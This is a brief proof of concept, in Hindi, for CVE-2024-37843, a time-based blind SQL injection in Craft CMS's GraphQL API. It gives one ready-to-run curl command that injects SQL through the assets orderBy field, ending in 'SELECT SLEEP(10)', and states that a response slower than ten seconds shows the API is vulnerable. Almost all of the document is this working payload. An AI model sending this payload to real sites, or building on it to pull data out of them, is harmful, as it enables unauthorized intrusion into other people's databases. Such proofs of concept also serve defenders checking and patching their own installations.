
CVE-2024-37843 के लिए POC। Craft CMS समय-आधारित ब्लाइंड SQLi।
CVE-2024-37843 के लिए POC. Craft CMS टाइम-बेस्ड ब्लाइंड SQLi
curl -X POST '<URL>/api/' -H 'Content-Type:application/json' -d '{"query":"query IntrospectionQuery {assets(orderBy: \"`assets`.`volumeId` -- \\` \\n \\n LIMIT 5) AS `subquery`\\nINNER JOIN `assets` `assets` ON `assets`.`id` = `subquery`.`elementsId`\\nINNER JOIN `volumefolders` `volumeFolders` ON `volumeFolders`.`id` = `assets`.`folderId`\\nINNER JOIN `elements` `elements` ON `elements`.`id` = `subquery`.`elementsId`\\nINNER JOIN `elements_sites` `elements_sites` ON `elements_sites`.`id` = `subquery`.`elementsSitesId`\\nINNER JOIN `content` `content` ON `content`.`id` = `subquery`.`contentId`\\nORDER BY `assets`.`volumeId`; SELECT SLEEP(10) ; --\", limit: 5){filename}}"}'
आप अपनी आवश्यकता के अनुसार SLEEP(10) को समायोजित कर सकते हैं लेकिन यदि इस curl अनुरोध का उत्तर 10 से अधिक है तो API कमजोर है।